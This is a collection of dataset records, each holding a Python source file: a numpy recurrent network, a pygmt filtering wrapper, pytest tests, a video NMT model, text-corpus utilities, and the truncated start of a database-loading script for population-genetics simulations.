+{"seq_id":"340821698","text":"import numpy as np\nimport time\n# import resource\nimport copy\nimport matplotlib.pyplot as plt\n\nimport warnings\nwarnings.filterwarnings(\"error\")\n\n#np.random.seed(1)\n\ndef sigmoid(x, deriv = False):\n if not deriv:\n y = -x\n return 1/(1+np.exp(y))\n else:\n return x*(1-x)\n\ndef linear(x, deriv = False):\n if not deriv:\n return x\n else:\n return 1\n\n#For measuring the execution time of the program at the end of the code\nstartTime = time.time()\n\nclass recurrentNeuralNet:\n def __init__(self, layerNum, nodeNumList):\n self.gamma = 0.02 #Learning rate\n self.activation = sigmoid\n self.memorySize = 5\n\n self.targetData = None #this should contain the intended values for the output\n self.error = 0 #this is the total error for a any test\n\n self.nodeVal = [None]*layerNum\n for i in range(layerNum):\n self.nodeVal[i] = np.zeros((1, nodeNumList[i]))\n\n self.layer = list()\n\n for i in range(layerNum-1):\n layerDict = dict()\n fromNum = nodeNumList[i]\n toNum = nodeNumList[i+1]\n\n layerDict['weights'] = 2*np.random.random([fromNum, toNum])-1\n #layerDict['biases'] = np.zeros([1,toNum])\n\n self.layer.append(layerDict)\n\n # defining terms for the hidden layer in preparation for making the network recurrent\n self.HL_outputDim = nodeNumList[-2]\n self.HL_inputDim = nodeNumList[1]\n self.HL_outputLog = list()\n\n # this is the synapse layer that connects the output of HL in the current time-step\n # to the input of the HL in the next time step\n self.layerH = dict()\n self.layerH['weights'] = 2*np.random.random([self.HL_outputDim, self.HL_inputDim])-1\n\n def inputData(self, data):\n self.nodeVal[0] = data\n\n def feedForward(self, data):\n if len(data) != self.memorySize:\n print('Wrong input format')\n assert False\n self.HL_outputLog = list()\n self.HL_outputLog.append(np.zeros((1,self.HL_outputDim)))\n for j in range(len(data)):\n self.inputData(np.array([[data[j]]]))\n i = 0\n while i < len(self.nodeVal)-1:\n\n outputData = np.matmul(self.nodeVal[i],self.layer[i]['weights'])\n #Now propagating the data from the Previous time-steps into the HL's\n if i == 0:\n #print(len(self.HL_outputLog))\n outputData += np.matmul(self.HL_outputLog[-1], self.layerH['weights'])\n\n #print(outputData.mean())\n try:\n self.nodeVal[i+1] = self.activation(outputData)\n except RuntimeWarning:\n print(j, i, np.matmul(self.nodeVal[i],self.layer[i]['weights']))\n quit()\n\n #Now storing the output of the HL's in the log for use in the next time step\n if i == len(self.nodeVal)-2:\n self.HL_outputLog.append(copy.deepcopy(self.nodeVal[i]))\n\n i += 1\n j += 1\n\n def calculateError(self):\n currentOutput = self.output()\n if currentOutput.shape != self.targetData.shape:\n print('Warning: Output shape does not match the target data shape')\n\n errorData = 0.5*((self.targetData - currentOutput)**2)\n self.error = errorData.sum()\n\n def errorPercent(self):\n return 100*self.error\n\n def backPropagate(self):\n #pd_A represents partial derivative of A w.r.t. the final Error\n pd_fromFuture = [None]*self.memorySize\n weightAdjustments = [None]*len(self.layer)\n for l in range(len(self.layer)):\n weightAdjustments[l] = np.zeros((self.nodeVal[l].shape[1], self.nodeVal[l+1].shape[1]))\n\n weightAdjustments_H = np.zeros((self.HL_outputDim, self.HL_inputDim))\n\n t = self.memorySize-1\n while t >= 0:\n # Calculating target data and then error\n self.calculateTarget()\n self.calculateError()\n\n pd_Nodes = [None] * len(self.nodeVal)\n\n future_HL_input = None\n if t == self.memorySize - 1:\n pd_future_HL_input = np.zeros((1, self.HL_inputDim))\n else:\n pd_future_HL_input = pd_fromFuture[t + 1]\n\n l = len(self.nodeVal)-1\n while l >= 0:\n\n if l == len(self.nodeVal)-1:\n pd_Nodes[l] = (self.output() - self.targetData)\n pd_Nodes[l] *= self.activation(self.output(), deriv = True)\n l -= 1\n continue\n\n pd_Nodes[l] = np.matmul(pd_Nodes[l+1], self.layer[l]['weights'].T)\n\n if l == len(self.nodeVal)-2:\n pd_Nodes[l] += np.matmul(pd_future_HL_input, self.layerH['weights'].T)\n\n pd_Nodes[l] *= self.activation(self.nodeVal[l], deriv = True)\n\n if l == 1:\n pd_fromFuture[t] = copy.deepcopy(pd_Nodes[l])\n\n #print(l, weightAdjustments[l].shape)\n weightAdjustments[l] += np.matmul(self.nodeVal[l].T, pd_Nodes[l+1])\n\n l -= 1\n\n weightAdjustments_H += np.matmul(self.nodeVal[-2].T, pd_future_HL_input)\n t -= 1\n\n for l in range(len(self.layer)):\n self.layer[l]['weights'] -= weightAdjustments[l]*self.gamma\n\n self.layerH['weights'] -= weightAdjustments_H*self.gamma\n\n return\n\n def calculateTarget(self, testing = False):\n #this is basically extracting the number form the input since it is just one input node for the\n #sine wave example\n meanInput = self.nodeVal[0].mean()\n ans = 0.5*(np.sin(meanInput)+1)\n\n self.targetData = np.array([[ans]])\n return\n\n def output(self):\n return self.nodeVal[-1]\n\n def train(self, cycles):\n plt.axis([0, 7, 0, 1])\n\n for i in range(cycles):\n x = 0\n stepCount = 60\n step = 2*np.pi/stepCount\n errList = np.zeros((stepCount,))\n\n xVal = list()\n yVal = list()\n yTrueVal = list()\n\n while x < stepCount:\n #net.input(np.array([[0.23,0.67,0.98]]))\n #print('Answer of %s is %s'%(self.nodeVal[0], self.target()))\n data = list()\n for k in range(self.memorySize):\n data.append((x+k)*step)\n\n self.feedForward(data)\n #print(self.output())\n #print('My guess for %s was %s'%(self.targetData,self.nodeVal[-1]))\n self.backPropagate()\n\n xVal.append(x*step)\n yVal.append(self.output()[0][0])\n yTrueVal.append(self.targetData[0][0])\n\n errList[x] = self.errorPercent()\n\n x += self.memorySize\n\n if i == 0 or (i+1)%100 == 0:\n #print(errList)\n print('Error in cycle %s is: %s'%(i+1, errList.mean()))\n\n plt.plot(xVal, yVal, 'bs', xVal, yTrueVal, 'r--')\n plt.show()\n return\n\n def test(self):\n print('=======================================================')\n print('Now testing the NN')\n print('=======================================================')\n\n xRef = np.linspace(0,2*np.pi, 60)\n yRef = 0.5*(1+np.sin(xRef))\n x = list()\n y = list()\n\n i = 0\n while i < 60:\n curX = xRef[i+self.memorySize-1]\n self.feedForward(xRef[i:i+self.memorySize])\n x.append(curX)\n y.append(self.output()[0])\n i += self.memorySize\n\n plt.plot(x,y,'g-',xRef, yRef, 'r--')\n plt.show()\n\n return\n\n#create a network with 4 layers and with 4,20,20,3 nodes in those layers in that order\nnet = recurrentNeuralNet(4,[1,10,10,1])\nnet.gamma = 0.5\nnet.train(800)\n#net.test()\n\n#Printing out the memory used and the time of execution\nprint('\\n===============================================')\n# print('Memory Used: {} kb'.format(resource.getrusage(resource.RUSAGE_SELF).ru_maxrss))\nprint('Execution Time: %.2f seconds'%(time.time() - startTime))","sub_path":"numpy_nn_fromScratch/recurrentNet.py","file_name":"recurrentNet.py","file_ext":"py","file_size_in_byte":8242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"470733827","text":"\"\"\"\nGMT modules for Filtering of 1-D and 2-D Data.\n\"\"\"\nimport pandas as pd\nfrom pygmt.clib import Session\nfrom pygmt.exceptions import GMTInvalidInput\nfrom pygmt.helpers import (\n GMTTempFile,\n build_arg_string,\n data_kind,\n dummy_context,\n fmt_docstring,\n kwargs_to_strings,\n use_alias,\n)\n\n\n@fmt_docstring\n@use_alias(I=\"spacing\", R=\"region\", V=\"verbose\")\n@kwargs_to_strings(R=\"sequence\")\ndef blockmedian(table, outfile=None, **kwargs):\n \"\"\"\n Block average (x,y,z) data tables by median estimation.\n\n Reads arbitrarily located (x,y,z) triples [or optionally weighted\n quadruples (x,y,z,w)] from a table and writes to the output a median\n position and value for every non-empty block in a grid region defined by\n the region and spacing arguments.\n\n Full option list at :gmt-docs:`blockmedian.html`\n\n {aliases}\n\n Parameters\n ----------\n table : pandas.DataFrame or str\n Either a pandas dataframe with (x, y, z) or (longitude, latitude,\n elevation) values in the first three columns, or a file name to an\n ASCII data table.\n\n spacing : str\n ``'xinc[unit][+e|n][/yinc[unit][+e|n]]'``.\n x_inc [and optionally y_inc] is the grid spacing.\n\n region : str or list\n ``'xmin/xmax/ymin/ymax[+r][+uunit]'``.\n Specify the region of interest.\n\n outfile : str\n Required if 'table' is a file. The file name for the output ASCII file.\n\n {V}\n\n Returns\n -------\n output : pandas.DataFrame or None\n Return type depends on whether the outfile parameter is set:\n\n - pandas.DataFrame table with (x, y, z) columns if outfile is not set\n - None if outfile is set (filtered output will be stored in outfile)\n \"\"\"\n kind = data_kind(table)\n with GMTTempFile(suffix=\".csv\") as tmpfile:\n with Session() as lib:\n if kind == \"matrix\":\n if not hasattr(table, \"values\"):\n raise GMTInvalidInput(f\"Unrecognized data type: {type(table)}\")\n file_context = lib.virtualfile_from_matrix(table.values)\n elif kind == \"file\":\n if outfile is None:\n raise GMTInvalidInput(\"Please pass in a str to 'outfile'\")\n file_context = dummy_context(table)\n else:\n raise GMTInvalidInput(f\"Unrecognized data type: {type(table)}\")\n\n with file_context as infile:\n if outfile is None:\n outfile = tmpfile.name\n arg_str = \" \".join([infile, build_arg_string(kwargs), \"->\" + outfile])\n lib.call_module(module=\"blockmedian\", args=arg_str)\n\n # Read temporary csv output to a pandas table\n if outfile == tmpfile.name: # if user did not set outfile, return pd.DataFrame\n result = pd.read_csv(tmpfile.name, sep=\"\\t\", names=table.columns)\n elif outfile != tmpfile.name: # return None if outfile set, output in outfile\n result = None\n\n return result\n","sub_path":"pygmt/filtering.py","file_name":"filtering.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"38358151","text":"# pylint: disable=no-value-for-parameter\n# pylint: disable=redefined-outer-name\n# pylint: disable=unused-argument\n# pylint: disable=unused-variable\n\n\nimport asyncio\nfrom unittest import mock\n\nimport pytest\nimport requests_mock\nfrom fastapi import FastAPI\nfrom pytest_mock import MockerFixture\nfrom pytest_simcore.helpers.utils_envs import EnvVarsDict, setenvs_from_dict\nfrom simcore_service_resource_usage_tracker.core.settings import ApplicationSettings\n\n_FAST_POLL_INTERVAL = 1\n\n\n@pytest.fixture\ndef app_environment(\n app_environment: EnvVarsDict,\n monkeypatch: pytest.MonkeyPatch,\n) -> EnvVarsDict:\n # fast interval\n return app_environment | setenvs_from_dict(\n monkeypatch,\n {\"RESOURCE_USAGE_TRACKER_EVALUATION_INTERVAL_SEC\": f\"{_FAST_POLL_INTERVAL}\"},\n )\n\n\n@pytest.fixture\ndef mock_background_task(mocker: MockerFixture) -> mock.Mock:\n mocked_task = mocker.patch(\n \"simcore_service_resource_usage_tracker.modules.prometheus_containers.plugin.collect_container_resource_usage_task\",\n autospec=True,\n )\n return mocked_task\n\n\n@pytest.mark.skip(\n reason=\"This test is currently not needed, as setup_background_task is commented out in application.py\"\n)\nasync def test_resource_tracker_disabled_if_prometheus_disabled_task_created_and_deleted(\n app_environment: EnvVarsDict,\n disabled_database: None,\n disabled_prometheus: None,\n disabled_rabbitmq: None,\n mocked_redis_server: None,\n mock_background_task: mock.Mock,\n initialized_app: FastAPI,\n app_settings: ApplicationSettings,\n):\n assert (\n app_settings.RESOURCE_USAGE_TRACKER_EVALUATION_INTERVAL_SEC.total_seconds()\n == _FAST_POLL_INTERVAL\n )\n assert hasattr(initialized_app.state, \"resource_tracker_task\")\n assert initialized_app.state.resource_tracker_task is None\n await asyncio.sleep(5 * _FAST_POLL_INTERVAL)\n mock_background_task.assert_not_called()\n\n\n@pytest.mark.skip(\n reason=\"This test is currently not needed, as setup_background_task is commented out in application.py\"\n)\nasync def test_resource_tracker_task_created_and_deleted(\n disabled_rabbitmq: None,\n disabled_database: None,\n app_environment: EnvVarsDict,\n mocked_prometheus: requests_mock.Mocker,\n mocked_redis_server: None,\n mock_background_task: mock.Mock,\n initialized_app: FastAPI,\n app_settings: ApplicationSettings,\n):\n assert (\n app_settings.RESOURCE_USAGE_TRACKER_EVALUATION_INTERVAL_SEC.total_seconds()\n == _FAST_POLL_INTERVAL\n )\n\n assert hasattr(initialized_app.state, \"resource_tracker_task\")\n # assert initialized_app.state.resource_tracker_task is not None\n await asyncio.sleep(5 * _FAST_POLL_INTERVAL)\n mock_background_task.assert_called()\n","sub_path":"services/resource-usage-tracker/tests/unit/modules/prometheus_containers/test_resource_tracker.py","file_name":"test_resource_tracker.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"299406803","text":"# -*- coding: utf-8 -*-\nimport logging\n\nimport torch\n\nfrom ..layers import (TextEncoder, CoAttention, MultiSourceConditionalDecoder,\n SequenceConvolution, MultiHeadCoAttention, VideoEncoder)\nfrom ..datasets import MultimodalDataset\nfrom .nmt import NMT\n\nlogger = logging.getLogger('nmtpytorch')\n\n\nclass CoAttentiveVideoNMT(NMT):\n \"\"\"NMT model doing co-attention with addtional sequence of features.\"\"\"\n def set_defaults(self):\n # Set parent defaults\n super().set_defaults()\n self.defaults.update({\n 'fusion_type': 'hierarchical', # Multimodal context fusion (sum|mul|concat)\n 'n_channels': 2048, # depends on the features used\n 'alpha_c': 0.0, # doubly stoch. attention\n 'img_sequence': False, # if true img is sequence of img features,\n # otherwise it's a conv map\n 'coattention': 'to_text', # direction of the coattention (to_text|to_img)\n 'include_txt': True,\n 'include_img': True,\n 'include_img2txt': True,\n 'include_txt2img': True,\n 'txt_conv_filters': [0, 128, 128, 128, 128],\n 'img_conv_filters': [0, 128, 128, 128, 128],\n 'txt_maxpool': 5,\n 'img_maxpool': 5,\n 'co_att_type': 'mlp', # (mlp|multihead)\n 'co_att_heads': 8,\n 'vid_proj_size': 512,\n 'vid_enc_dim': 512,\n 'bidirectional': True,\n })\n\n def __init__(self, opts):\n super().__init__(opts)\n if self.opts.model['alpha_c'] > 0:\n self.aux_loss['alpha_reg'] = 0.0\n\n if not self.opts.model['coattention'] in ['to_text', 'to_img']:\n raise ValueError(\"Unknown type of co-attention: {}.\".format(\n self.opts.model['coattention']))\n\n def setup(self, is_train=True):\n if 'vid_enc_dim' in self.opts.model:\n if self.opts.model['bidirectional']:\n self.ctx_sizes['image'] = self.opts.model['vid_enc_dim'] * 2\n else:\n self.ctx_sizes['image'] = self.opts.model['vid_enc_dim']\n\n ########################\n # Create Textual Encoder\n ########################\n self.text_enc = TextEncoder(\n input_size=self.opts.model['emb_dim'],\n hidden_size=self.opts.model['enc_dim'],\n n_vocab=self.n_src_vocab,\n rnn_type=self.opts.model['enc_type'],\n dropout_emb=self.opts.model['dropout_emb'],\n dropout_ctx=self.opts.model['dropout_ctx'],\n dropout_rnn=self.opts.model['dropout_enc'],\n num_layers=self.opts.model['n_encoders'],\n emb_maxnorm=self.opts.model['emb_maxnorm'],\n emb_gradscale=self.opts.model['emb_gradscale'])\n\n self.video_enc = VideoEncoder(\n input_size=self.opts.model['n_channels'],\n proj_size=self.opts.model['vid_proj_size'],\n hidden_size=self.opts.model['vid_enc_dim'],\n rnn_type=self.opts.model['enc_type'],\n dropout_emb=self.opts.model['dropout_emb'],\n dropout_ctx=self.opts.model['dropout_ctx'],\n dropout_rnn=self.opts.model['dropout_enc'],\n num_layers=self.opts.model['n_encoders'],\n emb_maxnorm=self.opts.model['emb_maxnorm'],\n emb_gradscale=self.opts.model['emb_gradscale'],\n bidirectional=self.opts.model['bidirectional'])\n\n self.ctx_names = []\n\n if self.opts.model['include_txt']:\n self.ctx_names.append(str(self.sl))\n if self.opts.model['include_img']:\n self.ctx_names.append('image')\n\n if (self.opts.model['include_img2txt'] or\n self.opts.model['include_txt2img']):\n txt_dim = sum(self.opts.model['txt_conv_filters'])\n img_dim = sum(self.opts.model['img_conv_filters'])\n\n self.img_conv = SequenceConvolution(\n input_dim=self.ctx_sizes['image'],\n filters=self.opts.model['img_conv_filters'],\n max_pool_stride=self.opts.model['img_maxpool'])\n\n self.txt_conv = SequenceConvolution(\n input_dim=self.opts.model['enc_dim'] * 2,\n filters=self.opts.model['txt_conv_filters'],\n max_pool_stride=self.opts.model['txt_maxpool'])\n\n if self.opts.model['co_att_type'] == 'mlp':\n self.coattention = CoAttention(\n ctx_1_dim=txt_dim,\n ctx_2_dim=img_dim,\n bottleneck=min(txt_dim, img_dim))\n self.ctx_sizes['img2txt'] = img_dim\n self.ctx_sizes['txt2img'] = txt_dim\n elif self.opts.model['co_att_type'] == 'multihead':\n att_dim = min(txt_dim, img_dim)\n self.coattention = MultiHeadCoAttention(\n ctx_1_dim=txt_dim,\n ctx_2_dim=img_dim,\n bottleneck=att_dim,\n head_count=self.opts.model['co_att_heads'])\n self.ctx_sizes['img2txt'] = att_dim\n self.ctx_sizes['txt2img'] = att_dim\n else:\n raise ValueError(\"Unknown coattentino type: {}\".format(\n self.opts.model['co_att_type']))\n\n if self.opts.model['include_img2txt']:\n self.ctx_names.append('img2txt')\n\n if self.opts.model['include_txt2img']:\n self.ctx_names.append('txt2img')\n\n # Create Decoder\n self.dec = MultiSourceConditionalDecoder(\n input_size=self.opts.model['emb_dim'],\n hidden_size=self.opts.model['dec_dim'],\n n_vocab=self.n_trg_vocab,\n rnn_type=self.opts.model['dec_type'],\n ctx_size_dict=self.ctx_sizes,\n ctx_name=str(self.sl),\n ctx_names=self.ctx_names,\n fusion_type=self.opts.model['fusion_type'],\n tied_emb=self.opts.model['tied_emb'],\n dec_init=self.opts.model['dec_init'],\n att_type=self.opts.model['att_type'],\n att_activ=self.opts.model['att_activ'],\n transform_ctx=self.opts.model['att_transform_ctx'],\n mlp_bias=self.opts.model['att_mlp_bias'],\n att_bottleneck=self.opts.model['att_bottleneck'],\n dropout_out=self.opts.model['dropout_out'],\n emb_maxnorm=self.opts.model['emb_maxnorm'],\n emb_gradscale=self.opts.model['emb_gradscale'])\n\n # Share encoder and decoder weights\n if self.opts.model['tied_emb'] == '3way':\n self.text_enc.emb.weight = self.dec.emb.weight\n\n def load_data(self, split, batch_size, mode='train'):\n \"\"\"Loads the requested dataset split.\"\"\"\n dataset = MultimodalDataset(\n data=self.opts.data[split + '_set'],\n mode=mode, batch_size=batch_size,\n vocabs=self.vocabs, topology=self.topology,\n bucket_by=self.opts.model['bucket_by'],\n max_len=self.opts.model.get('max_len', None))\n logger.info(dataset)\n return dataset\n\n def encode(self, batch, **kwargs):\n # Get features into (n,c,w*h) and then (w*h,n,c)\n # Let's start with a None mask by assuming that\n # we have a fixed-length feature collection\n feats_mask = None\n\n # Be it Numpy or NumpySequence, they return\n # (n_samples, feat_dim, t) by default\n # Convert it to (t, n_samples, feat_dim)\n feats = batch['image'].view(\n (*batch['image'].shape[:2], -1)).permute(2, 0, 1)\n\n if self.opts.model['img_sequence']:\n # Let's create mask in this case\n feats_mask = feats.ne(0).float().sum(2).ne(0).float()\n\n txt_encoded, txt_mask = self.text_enc(batch[self.sl])\n\n ctx_dict = {}\n ctx_dict[str(self.sl)] = (txt_encoded, txt_mask)\n encoded_video, _ = self.video_enc(batch['image'].permute(0, 2, 1))\n if self.opts.model['include_img']:\n ctx_dict['image'] = (encoded_video, feats_mask)\n\n if (self.opts.model['include_img2txt'] or\n self.opts.model['include_txt2img']):\n short_img, short_img_mask = self.img_conv(encoded_video, feats_mask)\n short_txt, short_txt_mask = self.txt_conv(txt_encoded, txt_mask)\n\n img_to_txt, txt_to_img = self.coattention(\n short_txt, short_img,\n ctx_1_mask=short_txt_mask, ctx_2_mask=short_img_mask)\n\n if self.opts.model['include_img2txt']:\n ctx_dict['img2txt'] = (img_to_txt, short_txt_mask)\n if self.opts.model['include_txt2img']:\n ctx_dict['txt2img'] = (txt_to_img, short_img_mask)\n\n return ctx_dict\n\n def forward(self, batch, **kwargs):\n result = super().forward(batch)\n\n if self.training and self.opts.model['alpha_c'] > 0:\n alpha_loss = (1 - torch.cat(self.dec.alphas).sum(0)).pow(2).sum(0)\n self.aux_loss['alpha_reg'] = alpha_loss.mean().mul(\n self.opts.model['alpha_c'])\n\n return result\n","sub_path":"models/coattentive_video_nmt.py","file_name":"coattentive_video_nmt.py","file_ext":"py","file_size_in_byte":9124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"635092416","text":"import string\nimport re\nfrom pickle import dump\nfrom unicodedata import normalize\nimport os\nimport pickle\nimport numpy as np\nimport torch\n\n\n# Use Dataset.py, language_processing.py, and Utils.py instead\n\nclass Language:\n\n def __init__(self, name):\n\n self.name = name\n\n self.vocabulary = {\n\n 'train': {\n 'word2index': {},\n 'word2count': {},\n 'index2word': {},\n 'vocab_size': 0\n },\n 'val': {\n 'word2index': {},\n 'word2count': {},\n 'index2word': {},\n 'vocab_size': 0\n },\n 'test': {\n 'word2index': {},\n 'word2count': {},\n 'index2word': {},\n 'vocab_size': 0\n }\n }\n\n def get_vocab(self, clean_corpus, train_indices, val_indices, test_indices):\n\n root = os.getcwd()\n\n if os.path.isfile(root + '/Data/' + self.name + '-vocab.pkl') and \\\n os.path.isfile(root + '/Data/' + self.name + '-sampled-corpuses.pkl'):\n\n print('Vocabulary and Corpuses Found')\n self.vocabulary = get_pickled_data(root + '/Data/' + self.name + '-vocab.pkl')\n\n elif os.path.isfile(root + '/Data/' + self.name + '-vocab.pkl'):\n\n print('Found Vocabulary, not Corpuses, Generating Corpuses')\n self.vocabulary = get_pickled_data(root + '/Data/' + self.name + '-vocab.pkl')\n\n self.generate_corpus(clean_corpus, train_indices, val_indices, test_indices)\n\n elif os.path.isfile(root + '/Data/' + self.name + '-sampled-corpuses.pkl'):\n\n print('Found Corpuses, not Vocabulary, Generating Vocabulary')\n\n corpuses = get_pickled_data(root + '/Data/' + self.name + '-sampled-corpuses.pkl')\n\n for key, value in corpuses.items():\n self.add_vocab(clean_corpus=value, phase=key)\n print(\"Finished \" + key)\n\n print('Saving Vocabulary')\n self.save_dicts(self.vocabulary, 'Data/' + self.name + '-vocab.pkl')\n print('Finished Adding Vocab')\n\n else:\n print('None Found')\n\n corpuses = self.generate_corpus(clean_corpus, train_indices, val_indices, test_indices)\n\n print('Creating Vocabulary')\n\n for key, value in corpuses.items():\n self.add_vocab(clean_corpus=value, phase=key)\n print(\"Finished \" + key)\n\n print('Saving Vocabulary')\n self.save_dicts(self.vocabulary, 'Data/' + self.name + '-vocab.pkl')\n print('Finished Adding Vocab')\n\n def generate_corpus(self, clean_corpus, train_indices, val_indices, test_indices):\n\n tokenized = []\n\n for sentence in clean_corpus:\n tokenized.append(sentence.split())\n\n return self.generate(tokenized, train_indices, val_indices, test_indices)\n\n def generate(self, clean_corpus, train_indices, val_indices, test_indices):\n\n train_corpus = np.take(clean_corpus, train_indices)\n print('Finished train corpus')\n val_corpus = np.take(clean_corpus, val_indices)\n print('Finished val corpus')\n test_corpus = np.take(clean_corpus, test_indices)\n print('Finished test corpus')\n\n corpuses = dict()\n corpuses['train'] = train_corpus.tolist()\n corpuses['val'] = val_corpus.tolist()\n corpuses['test'] = test_corpus.tolist()\n\n save_corpus(corpuses, 'Data/' + self.name + '-sampled-corpuses.pkl')\n\n print('Saved Corpuses')\n\n return corpuses\n\n def add_vocab(self, clean_corpus, phase):\n\n for sentence in clean_corpus:\n self.add_sentence(sentence, phase)\n\n min_occurrence = 5\n\n vocab_list = list()\n\n for key in list(self.vocabulary[phase]['word2count']):\n\n if self.vocabulary[phase]['word2count'][key] < min_occurrence:\n self.vocabulary[phase]['word2count'].pop(key)\n else:\n vocab_list.append(key)\n\n vocab_list.append('UNK')\n vocab_list.sort()\n\n self.create_word2index_and_index2word(vocab_list, phase)\n\n data = '\\n'.join(vocab_list)\n file = open('Data/' + self.name + '-vocab.txt', 'w')\n file.write(data)\n file.close()\n\n def add_sentence(self, sentence, phase):\n\n for word in sentence:\n self.add_word(word, phase)\n\n def add_word(self, word, phase):\n\n if word not in self.vocabulary[phase]['word2count']:\n self.vocabulary[phase]['word2count'][word] = 1\n\n else:\n self.vocabulary[phase]['word2count'][word] += 1\n\n def create_word2index_and_index2word(self, vocab_list, phase):\n\n for word in vocab_list:\n self.vocabulary[phase]['word2index'][word] = self.vocabulary[phase]['vocab_size']\n self.vocabulary[phase]['index2word'][self.vocabulary[phase]['vocab_size']] = word\n self.vocabulary[phase]['vocab_size'] += 1\n\n def save_dicts(self, data, filename):\n\n dump(data, open(filename, 'wb'))\n\n\nclass Clean:\n\n @staticmethod\n def clean_corpus(raw_corpus_text, language):\n\n clean_corpus = Clean.clean(raw_corpus_text)\n\n for i in range(10):\n print(clean_corpus[i])\n\n save_corpus(clean_corpus, 'Data/' + language + '-clean-corpus.pkl')\n\n @staticmethod\n def clean(raw_corpus):\n\n sentences = raw_corpus.strip().split('\\n')\n\n cleaned = list()\n re_print = re.compile('[^%s]' % re.escape(string.printable))\n\n transtab = str.maketrans('', '', string.punctuation)\n\n for sentence in sentences:\n\n sentence = normalize('NFD', sentence).encode('ascii', 'ignore')\n sentence = sentence.decode('UTF-8')\n\n sentence = sentence.split()\n\n sentence = [word.lower() for word in sentence]\n sentence = [word.translate(transtab) for word in sentence]\n sentence = [re_print.sub('', word) for word in sentence]\n sentence = [word for word in sentence if word.isalpha()]\n\n cleaned.append(' '.join(sentence))\n\n return cleaned\n\n\ndef save_corpus(corpus, filename):\n\n dump(corpus, open(filename, 'wb'))\n\n\ndef print_dicts(data):\n\n for phase, mappings in data.items():\n print(phase)\n for mapping, content in mappings.items():\n if mapping != 'vocab_size':\n count = 0\n for key, value in content.items():\n if count < 5:\n print(str(key) + \": \" + str(value))\n count += 1\n\n\ndef get_pickled_data(filename):\n\n with open(filename, 'rb') as file:\n return pickle.load(file)\n\n\ndef get_indices_from_sentence(lang, sentence, phase):\n return [lang['vocabulary'][phase]['word2index'][word] if word in lang['vocabulary'][phase]['word2index'] else\n lang['vocabulary'][phase]['word2index']['UNK'] for word in\n sentence]\n\n\ndef tensor_from_sentence(lang, sentence, phase):\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n indices = get_indices_from_sentence(lang, sentence, phase)\n return torch.tensor(indices, dtype=torch.long, device=device).view(-1, 1)\n\n\ndef tensor_from_pair(src_lang, trg_lang, data_set, phase, index):\n\n src_tensor = tensor_from_sentence(src_lang, data_set['src'][index], phase)\n trg_tensor = tensor_from_sentence(trg_lang, data_set['trg'][index], phase)\n\n return src_tensor, trg_tensor\n\n\ndef get_random_sample(length_of_corpus):\n\n len_corpus_indices = length_of_corpus - 1\n\n non_test_percent = 0.8\n train_percent = 0.8\n\n non_test_indices = np.random.choice(len_corpus_indices,\n int(len_corpus_indices * non_test_percent), replace=False)\n\n test_indices = np.setdiff1d(np.arange(len_corpus_indices), non_test_indices, assume_unique=False)\n\n len_non_train_indices = len(non_test_indices) - 1\n\n train_indices = np.random.choice(non_test_indices, int(len_non_train_indices * train_percent), replace=False)\n val_indices = np.setdiff1d(non_test_indices, train_indices)\n\n print('Got indices')\n\n return train_indices, val_indices, test_indices\n\n\n# Pickled Data for Samples Corpuses\ndef prepare_data(lang1_corpus_pkl_filename, lang2_corpus_pkl_filename):\n\n train = {'src': {}, 'trg': {}}\n val = {'src': {}, 'trg': {}}\n test = {'src': {}, 'trg': {}}\n\n lang1 = get_pickled_data(lang1_corpus_pkl_filename)\n lang2 = get_pickled_data(lang2_corpus_pkl_filename)\n\n train['src'] = lang1['train']\n train['trg'] = lang2['train']\n\n val['src'] = lang1['val']\n val['trg'] = lang2['val']\n\n test['src'] = lang1['test']\n test['trg'] = lang2['test']\n\n return train, val, test\n\n\n\n\n\n\n\n\n\n","sub_path":"Utils/language.py","file_name":"language.py","file_ext":"py","file_size_in_byte":8821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"603954662","text":"RESET_POS = (1000, 20)\n\n\ndef check_not_none(var):\n \"\"\"\n Throws an ValueError if given None. Otherwise returns the value itself.\n \"\"\"\n if var is None:\n raise ValueError('None value unexpected!')\n return var\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"190042410","text":"#!/usr/bin/env python\n\"\"\"\nExamples:\n\t%s \n\t\n\t%s -i OneLibAlignment/2278_634_vs_524_by_2_r4043_sequence_628C2AAXX_6_dupMarked.bam\n\t\t--logFilename OneLibAlignment/2278_634_vs_524_by_2_r4043_sequence_628C2AAXX_6_2db.log\n\t\t--individual_alignment_id 2278 --data_dir /u/home/eeskin/polyacti/NetworkData/vervet/db/\n\t\t--drivername postgresql --hostname localhost --dbname vervetdb --db_user yh\n\t\t--schema public OneLibAlignment/2278_634_vs_524_by_2_r4043_sequence_628C2AAXX_6_dupMarked.metric\n\nDescription:\n\t2013.08.04 add population genetics simulation files (PolymorphismTableFile) to db\n\t\t\n\"\"\"\n\nimport sys, os, math\n__doc__ = __doc__%(sys.argv[0], sys.argv[0])\n\nsys.path.insert(0, os.path.expanduser('~/lib/python'))\nsys.path.insert(0, os.path.join(os.path.expanduser('~/script')))\n\nfrom pymodule import ProcessOptions, getListOutOfStr, PassingData, utils\nfrom vervet.src.mapper.AbstractVervetMapper import AbstractVervetMapper\nfrom vervet.src import VervetDB\n\n\nclass AddPopGenSimulation2DB(AbstractVervetMapper):\n\t__doc__ = __doc__\n\toption_default_dict = AbstractVervetMapper.option_default_dict.copy()\n\t#option_default_dict.pop(('inputFname', 0, ))\n\toption_default_dict.pop(('outputFname', 0, ))\n\toption_default_dict.pop(('outputFnamePrefix', 0, ))\n\toption_default_dict.update({\n\t\t\t\t\t\t#('inputDir', 1, ): ['', 'i', 1, 'input folder that contains split fastq files', ],\\\n\t\t\t\t\t\t('r', 1, float):[None, '', 1, 'recombination rate per base per generation used in simulation'],\\\n\t\t\t\t\t\t('rho', 1, float):[None, '', 1, 'population recombination rate used in simulation'],\\\n\t\t\t\t\t\t('mu', 1, float):[None, '', 1, 'mutation rate per base per generation used in 